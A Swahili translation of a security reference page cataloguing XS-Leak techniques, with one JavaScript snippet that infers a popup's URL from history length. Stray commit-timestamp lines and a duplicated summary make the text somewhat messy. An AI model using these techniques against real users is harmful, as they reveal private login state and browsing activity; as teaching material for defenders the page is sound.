Kipengele kipya katika Google Chrome (GC) inaruhusu kurasa za wavuti **kupendekeza Sera ya Usalama wa Yaliyomo (CSP)** kwa kuweka sifa kwenye kipengele cha fremu, na maelekezo ya sera yaliyotumwa pamoja na ombi la HTTP. Kawaida, yaliyomo yaliyowekwa lazima **idhinishe hii kupitia kichwa cha HTTP**, au **ukurasa wa kosa unaweza kuonyeshwa**. Walakini, ikiwa fremu tayari inatawaliwa na CSP na sera mpya iliyopendekezwa sio ngumu zaidi, ukurasa utapakia kawaida. Mbinu hii inafungua njia kwa muhalifu kugundua **maagizo maalum ya CSP** ya ukurasa wa mwelekeo kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umetatuliwa, ugunduzi wetu unaonyesha **mbinu mpya ya kuvuja** inayoweza kugundua ukurasa wa kosa, ikionyesha kuwa tatizo la msingi halijatatuliwa kabisa.
### **CORP**
* **Mbinu za Uingizaji**: Fetch API
* **Tofauti Inayoweza Kugundulika**: Kichwa
* **Maelezo Zaidi**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Muhtasari:** Rasilimali zilizolindwa na Sera ya Rasilimali ya Mwelekeo wa Msingi (CORP) zitatoa kosa wakati zinapopakuliwa kutoka asili isiyoruhusiwa.
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
2022-06-28 12:20:37 +00:00
### CORB
* **Njia za Kuingiza**: Vitu vya HTML
* **Tofauti Inayoweza Kugundulika**: Vichwa vya Habari
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Muhtasari**: CORB inaweza kuruhusu wachomaji kugundua wakati **kichwa cha `nosniff` kipo** katika ombi.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
2022-06-28 12:20:37 +00:00
Angalia kiungo kwa maelezo zaidi kuhusu shambulio.
2022-06-28 12:20:37 +00:00
### Hitilafu ya CORS kwenye Mipangilio Mibaya ya Kutafakari Asili <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fetch API
* **Tofauti Inayoweza Kugundulika**: Vichwa vya Habari
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Muhtasari**: Ikiwa kichwa cha Asili kinarudishwa katika kichwa cha `Access-Control-Allow-Origin` inawezekana kuchunguza ikiwa rasilimali tayari iko kwenye cache.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
2022-06-28 15:48:43 +00:00
Katika kesi ambapo **kichwa cha Asili** kinarejeshwa lakini mshambuliaji anaweza kutumia tabia hii kujaribu **kupata** **rasilimali** katika **hali ya CORS**. Ikiwa **hitilafu** **haikutolewa**, inamaanisha kwamba ilikuwa **imepatikana kwa usahihi kutoka kwenye wavuti**, ikiwa hitilafu inatokea, ni kwa sababu ilikuwa **imefikiwa kutoka kwenye cache** (hitilafu inatokea kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kuruhusu kikoa cha awali na sio kikoa cha mshambuliaji).\
Tafadhali kumbuka kwamba ikiwa asili hairejeshwi lakini alama ya joker inatumika (`Access-Control-Allow-Origin: *`) hii haitafanya kazi.
2022-06-28 15:48:43 +00:00
## Mbinu ya Atributi Inayoweza Kusomwa
2022-06-27 23:34:20 +00:00
### Ufikiaji wa Upya wa Fetch
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fetch API
* **Tofauti Inayoweza Kugundulika**: Msimbo wa Hali
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Muhtasari:** GC na SA huruhusu kuchunguza aina ya majibu (opaqueredirect) baada ya upya kukamilika.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
2022-06-27 23:34:20 +00:00
Kwa kutuma ombi kwa kutumia Fetch API na `redirect: "manual"` na vigezo vingine, inawezekana kusoma sifa ya `response.type` na ikiwa ni sawa na `opaqueredirect` basi majibu yalikuwa upya.
2022-06-27 23:34:20 +00:00
### COOP
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Pop-ups
* **Tofauti Inayoweza Kugundulika**: Kichwa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Muhtasari:** Kurasa zilizolindwa na Sera ya Kufungua Msanidi wa Asili (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa asili za msalaba.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
2023-03-05 22:20:47 +00:00
Mshambuliaji anaweza kudokeza uwepo wa kichwa cha Sera ya Kufungua Msanidi wa Asili (COOP) katika jibu la HTTP la asili za msalaba. COOP hutumiwa na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yoyote. Uonekano wa kichwa hiki unaweza kugunduliwa kwa kujaribu kufikia **marejeleo ya `contentWindow`**. Katika hali ambapo COOP inatumika kwa hiari, **mali ya `opener`** inakuwa ishara ya wazi: ni **haijatambuliwa** wakati COOP inatumika, na **imetambuliwa** ikiwa haipo.
2023-03-05 22:20:47 +00:00
### Urefu Mzito wa URL - Upande wa Seva
2023-03-05 22:20:47 +00:00
* **Njia za Kuingiza**: Fetch API, Vitu vya HTML
* **Tofauti Inayoweza Kugundulika**: Msimbo wa Hali / Yaliyomo
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Muhtasari:** Kugundua tofauti katika majibu kwa sababu ya urefu wa majibu wa upya unaweza kuwa mkubwa sana hivi kwamba seva inajibu na kosa na tahadhari inazalishwa.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
2023-03-05 22:20:47 +00:00
Ikiwa upya wa upande wa seva unatumia **mipangilio ya mtumiaji ndani ya upya** na **data ziada**. Inawezekana kugundua tabia hii kwa sababu kawaida **seva** ina **kikomo cha urefu wa ombi**. Ikiwa **data ya mtumiaji** ni **urefu huo - 1**, kwa sababu **upya** unatumia **data hiyo** na **kuongeza** kitu **ziada**, itasababisha **kosa linaloweza kugundulika kupitia Matukio ya Kosa**.
Ikiwa kwa namna fulani unaweza kuweka vidakuzi kwa mtumiaji, unaweza pia kufanya shambulio hili kwa **kuweka vidakuzi vya kutosha** ([**bomu la kuki**](hacking-with-cookies/cookie-bomb.md)) ili kwa **ukubwa uliongezeka wa majibu sahihi** kosa litasababishwa. Katika kesi hii, kumbuka kwamba ukianzisha ombi hili kutoka kwenye wavuti ile ile, `<script>` itatuma vidakuzi kiotomatiki (hivyo unaweza kuchunguza makosa).\
Mfano wa **bomu la kuki + XS-Search** unaweza kupatikana kwenye suluhisho lililokusudiwa la andiko hili: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` au kuwa kwenye muktadha ule ule kawaida inahitajika kwa aina hii ya shambulio.
### Urefu Mzito wa URL - Upande wa Mteja
* **Njia za Kuingiza**: Pop-ups
* **Tofauti Inayoweza Kugundulika**: Msimbo wa Hali / Yaliyomo
* **Maelezo Zaidi**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Muhtasari:** Kugundua tofauti katika majibu kwa sababu ya urefu wa majibu wa upya unaweza kuwa mkubwa sana hivi kwamba tofauti inaweza kugunduliwa.
* **Mfano wa Kanuni**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Kulingana na [hati ya Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), Urefu wa URL wa Chrome ni 2MB.
> Kwa ujumla, _jukwaa la wavuti_ halina kikomo cha urefu wa URL (ingawa 2^31 ni kikomo cha kawaida). _Chrome_ inazuia URL hadi urefu wa juu wa **2MB** kwa sababu za vitendo na kuepuka kusababisha matatizo ya kukataa huduma katika mawasiliano ya mchakato kwa mchakato.
Kwa hivyo ikiwa **URL ya upya iliyojibiwa ni kubwa katika moja ya kesi**, inawezekana kuifanya iwekeze upya na **URL kubwa kuliko 2MB** kugonga **kikomo cha urefu**. Wakati hii inatokea, Chrome inaonyesha ukurasa wa **`about:blank#blocked`**.
2023-03-05 22:20:47 +00:00
**Tofauti inayoweza kugundulika**, ni kwamba ikiwa **upya** ulikamilika, `window.origin` itatoa **kosa** kwa sababu asili ya msalaba haiwezi kupata habari hiyo. Walakini, ikiwa **kikomo** kilipigwa na ukurasa uliopakiwa ulikuwa **`about:blank#blocked`** asili ya dirisha inabaki ile ile ya **mzazi**, ambayo ni habari **inayopatikana.**
Maelezo yote ya ziada yanayohitajika kufikia **2MB** yanaweza kuongezwa kupitia **hash** katika URL ya awali ili itumike katika upya.
{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}
### Mipokezi ya Mwisho
2023-03-05 22:20:47 +00:00
* **Njia za Kuingiza**: Pata API, Fremu
* **Tofauti Inayoweza Kugundulika**: Msimbo wa Hali
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Muhtasari:** Tumia kikomo cha upokezi wa kivinjari kuthibitisha kuwepo kwa upokezi wa URL.
* **Mfano wa Msimbo**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
2023-03-05 22:20:47 +00:00
Ikiwa idadi **kubwa** ya **upokezi** wa kufuata wa kivinjari ni **20**, mshambuliaji anaweza kujaribu kupakia ukurasa wake na **upokezi 19** na hatimaye **kumtuma mhanga** kwenye ukurasa uliojaribiwa. Ikiwa **kosa** linasababishwa, basi ukurasa ulikuwa unajaribu kumwongoza **mhanga**.
2022-06-27 23:34:20 +00:00
2024-02-11 02:13:58 +00:00
### Urefu wa Historia
2022-06-27 23:34:20 +00:00
* **Njia za Kuingiza**: Fremu, Pop-ups
* **Tofauti Inayoweza Kugundulika**: Upokezi
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Muhtasari:** Msimbo wa JavaScript unabadilisha historia ya kivinjari na inaweza kupatikana kwa mali ya urefu.
* **Mfano wa Msimbo**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
2022-06-27 23:34:20 +00:00
API ya **Historia** inaruhusu msimbo wa JavaScript kubadilisha historia ya kivinjari, ambayo **inaokoa kurasa zilizotembelewa na mtumiaji**. Mshambuliaji anaweza kutumia mali ya urefu kama njia ya kuingiza: kugundua upelelezi wa JavaScript na HTML.\
**Kukagua `history.length`**, kufanya mtumiaji **atembee** kwenye ukurasa, **uibadilishe** kurudi **kwa asili ile ile** na **kukagua** thamani mpya ya **`history.length`**.
2022-08-08 23:51:39 +00:00
2024-02-11 02:13:58 +00:00
### Urefu wa Historia na URL sawa
2022-08-08 23:51:39 +00:00
* **Njia za Kuingiza**: Fremu, Pop-ups
* **Tofauti Inayoweza Kugundulika**: Ikiwa URL ni ile ile kama ile iliyoguiliwa
* **Muhtasari:** Inawezekana kudhani ikiwa eneo la fremu/popup liko kwenye URL maalum kwa kutumia urefu wa historia.
* **Mfano wa Msimbo**: Chini
2022-08-08 23:51:39 +00:00
Mshambuliaji anaweza kutumia msimbo wa JavaScript kubadilisha eneo la fremu/popup hadi moja iliyoguiliwa na **mara moja** **kuibadilisha kuwa `about:blank`**. Ikiwa urefu wa historia uliongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa **kuongezeka kwa sababu URL haijapakiwa upya ikiwa ni ile ile**. Ikiwa haukuongezeka inamaanisha ilijaribu kupakia URL iliyoguiliwa lakini kwa sababu **tulipakia mara moja baada ya** kuiweka **`about:blank`**, **urefu wa historia haukuongezeka kamwe** wakati wa kupakia URL iliyoguiliwa.
2022-08-08 23:51:39 +00:00
```javascript
async function debug(win, url) {
2024-02-11 02:13:58 +00:00
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
2022-08-08 23:51:39 +00:00
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
2024-02-11 02:13:58 +00:00
### Kuhesabu Fremu
2022-08-08 23:51:39 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu, Pop-ups
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Muhtasari:** Thibitisha idadi ya vipengele vya iframe kwa kupekua mali ya `window.length`.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
2022-06-27 23:34:20 +00:00
Kuhesabu **idadi ya fremu kwenye wavuti** iliyofunguliwa kupitia `iframe` au `window.open` inaweza kusaidia kutambua **hali ya mtumiaji kwenye ukurasa huo**.\
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya fremu daima, kuangalia **kwa mfululizo** idadi ya fremu kunaweza kusaidia kutambua **mtindo** ambao unaweza kufichua habari.
2022-06-27 23:34:20 +00:00
Mfano wa mbinu hii ni kwamba kwenye chrome, **PDF** inaweza **kugunduliwa** kwa **kuhesabu fremu** kwa sababu `embed` hutumiwa ndani. Kuna [Parameta za URL Zilizofunguliwa](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo huruhusu udhibiti fulani juu ya yaliyomo kama vile `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
2022-06-28 15:48:43 +00:00
2022-06-28 12:20:37 +00:00
### HTMLElements
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Vipengele vya HTML
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Muhtasari:** Soma thamani iliyovuja kutofautisha kati ya hali 2 zinazowezekana
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
2024-02-06 03:10:38 +00:00
Kuvuja kwa habari kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kudumu zinazozalishwa kulingana na habari ya mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha saizi ya media. Hii inaweza kutumiwa na wachambuzi kuwatofautisha kati ya hali zinazowezekana kwa kuchambua habari inayofichuliwa na vipengele fulani vya HTML.
2022-06-28 12:20:37 +00:00
2024-02-11 02:13:58 +00:00
### Habari Inayofichuliwa na Vipengele vya HTML
2022-06-28 12:20:37 +00:00
* **HTMLMediaElement**: Kipengele hiki hufichua nyakati za `duration` na `buffered` za media, ambazo zinaweza kupatikana kupitia API yake. [Soma zaidi kuhusu HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: Hufichua `videoHeight` na `videoWidth`. Katika vivinjari fulani, mali za ziada kama vile `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa habari zaidi kuhusu yaliyomo ya media. [Soma zaidi kuhusu HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Kazi hii hutoa maelezo kuhusu ubora wa kucheza video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuonyesha kiasi cha data ya video iliyosindika. [Soma zaidi kuhusu getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: Kipengele hiki hufichua `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudi 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha vizuri. [Soma zaidi kuhusu HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
2022-06-28 12:20:37 +00:00
2024-02-11 02:13:58 +00:00
### Mali ya CSS
2022-06-28 12:20:37 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Vipengele vya HTML
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Muhtasari:** Tambua mabadiliko katika mtindo wa wavuti yanayolingana na hali au hali ya mtumiaji.
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
2022-06-28 12:20:37 +00:00
Maombi ya wavuti yanaweza kubadilisha **mtindo wa wavuti kulingana na hali ya mtumiaji**. Faili za CSS za msingi zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia kipengele cha **kiungo cha HTML**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha kanuni hizi kwa kudai, mshambuliaji anaweza **kugundua** tofauti hizi **kulingana na hali ya mtumiaji**.\
Kama mbinu ya kuvuja, mshambuliaji anaweza kutumia mbinu ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS za kupindukia ikiwa kipengele kilichoathiriwa na jina la mali kinajulikana.
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
### Historia ya CSS
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Vipengele vya HTML
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Muhtasari:** Gudua ikiwa mtindo wa `:visited` unatumika kwa URL inayoonyesha tayari imepitiwa
* **Mfano wa Kanuni**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
{% hint style="info" %}
Kulingana na [**hii**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), hii haifanyi kazi katika Chrome ya kichwa.
{% endhint %}
Mchaganyiko wa CSS `:visited` hutumiwa kuweka mitindo tofauti kwa URL ikiwa tayari imepitiwa na mtumiaji. Zamani, mbinu ya `getComputedStyle()` ingeweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimechukua hatua za usalama kuzuia mbinu hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha mtindo uliohesabiwa kila wakati kana kwamba kiungo kimepitiwa na kuzuia mitindo inayoweza kutumika na mchaganyiko wa `:visited`.
Licha ya vizuizi hivi, inawezekana kutambua hali ya kiungo kilichopitiwa kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kudanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandhari yake, ikifunua hali iliyopitiwa kulingana na uingiliano wa mtumiaji.
Zaidi ya hayo, ugunduzi unaweza kufikiwa bila uingiliano wa mtumiaji kwa kutumia nyakati za uchoraji wa viungo. Kwa kuwa vivinjari vinaweza kuchora viungo vilivyopitiwa na visivyopitiwa kwa njia tofauti, hii inaweza kuleta tofauti ya wakati inayoweza kupimika katika uchoraji. Uthibitisho wa dhana ulitajwa katika ripoti ya kasoro ya Chromium, ukionyesha mbinu hii kwa kutumia viungo vingi kuongeza tofauti ya wakati, hivyo kufanya hali iliyopitiwa iweze kutambulika kupitia uchambuzi wa wakati.
Kwa maelezo zaidi kuhusu mali na mbinu hizi, tembelea kurasa zao za nyaraka:
* `:visited`: [Nyaraka za MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [Nyaraka za MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [Nyaraka za MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### Documenti ya X-Frame Leak
2024-02-06 03:10:38 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu
* **Tofauti Inayoweza Kugundulika**: Vichwa vya habari
* **Maelezo Zaidi**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Muhtasari:** Katika Google Chrome, ukurasa unaonyesha kosa maalum unapo zuiliwa kuingizwa kwenye tovuti ya asili kutokana na vizuizi vya X-Frame-Options.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
2024-02-06 03:10:38 +00:00
Katika Chrome, ikiwa ukurasa una kichwa cha `X-Frame-Options` kilichowekwa kama "deny" au "same-origin" unazingizwa kama kitu, ukurasa wa kosa unaonekana. Chrome kwa kipekee hurudisha kitu cha hati tupu (badala ya `null`) kwa mali ya `contentDocument` ya kitu hiki, tofauti na iframes au vivinjari vingine. Wachomaji wanaweza kutumia hili kwa kugundua hati tupu, hivyo kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa watengenezaji hawaweki kichwa cha X-Frame-Options kwa uangalifu, mara nyingi wakipuuza kurasa za kosa. Uelewa na matumizi thabiti ya vichwa vya usalama ni muhimu kuzuia uvujaji kama huo.
2024-02-06 03:10:38 +00:00
### Uchunguzi wa Upakuaji
2022-06-28 15:48:43 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fremu, Pop-ups
* **Tofauti Inayoweza Kugundulika**: Vichwa vya habari
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Muhtasari:** Mshambuliaji anaweza kutofautisha upakuaji wa faili kwa kutumia iframes; upatikanaji endelevu wa iframe unaashiria upakuaji wa faili umefanikiwa.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
2022-06-28 12:20:37 +00:00
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaagiza kivinjari kupakua maudhui badala ya kuyaonyesha moja kwa moja. Tabia hii inaweza kutumiwa kugundua ikiwa mtumiaji ana ufikio wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vinavyotegemea Chromium, kuna njia kadhaa za kugundua tabia hii ya upakuaji:
2022-06-28 12:20:37 +00:00
2024-02-11 02:13:58 +00:00
1. **Ufuatiliaji wa Mstari wa Upakuaji**:
* Wakati faili inapopakuliwa katika vivinjari vinavyotegemea Chromium, mstari wa upakuaji unaonekana chini ya dirisha la kivinjari.
* Kwa kufuatilia mabadiliko katika urefu wa dirisha, wachomaji wanaweza kudokeza kuonekana kwa mstari wa upakuaji, ikionyesha kwamba upakuaji umeanzishwa.
2. **Ufuatiliaji wa Navigesheni na Iframes**:
* Wakati ukurasa unachochea upakuaji wa faili kwa kutumia kichwa cha `Content-Disposition: attachment`, haisababishi tukio la navigesheni.
* Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuthibitisha ikiwa kichwa cha maudhui husababisha upakuaji wa faili (hakuna navigesheni) au la.
3. **Ufuatiliaji wa Navigesheni bila Iframes**:
* Kama njia ya iframe, njia hii inahusisha kutumia `window.open` badala ya iframe.
* Kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa hivi karibuni kunaweza kufichua ikiwa upakuaji wa faili ulichochezwa (hakuna navigesheni) au ikiwa maudhui yanavyoonyeshwa moja kwa moja (navigesheni hufanyika).
2022-06-28 12:20:37 +00:00
Katika mazingira ambapo watumiaji walioingia tu wanaweza kuanzisha upakuaji kama huo, njia hizi zinaweza kutumika kufikiria hali ya uthibitisho wa mtumiaji kulingana na majibu ya kivinjari kwa ombi la upakuaji.
2022-06-28 12:20:37 +00:00
### Kupuuza Hifadhi ya HTTP Iliyogawanyika <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
2022-06-28 12:20:37 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Pop-ups
* **Tofauti Inayoweza Kugundulika**: Wakati
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Muhtasari:** Mshambuliaji anaweza kutofautisha upakuaji wa faili kwa kutumia iframes; upatikanaji endelevu wa iframe unaashiria upakuaji wa faili umefanikiwa.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (kutoka [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
2022-07-03 09:52:15 +00:00
{% hint style="warning" %}
Hii ndio sababu hii mbinu ni ya kuvutia: Chrome sasa ina **ugawanyaji wa hifadhi**, na ufunguo wa hifadhi ya ukurasa uliofunguliwa hivi karibuni ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa ninafungua ukurasa wa ngrok na kutumia fetch ndani yake, ufunguo wa hifadhi utakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, ufunguo wa **hifadhi ni tofauti**, hivyo hifadhi haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Kupata usalama na faragha kwa kugawanya hifadhi](https://developer.chrome.com/blog/http-cache-partitioning/)\
2024-02-11 02:13:58 +00:00
(Maoni kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
2022-07-03 09:52:15 +00:00
{% endhint %}
2022-06-27 16:53:32 +00:00
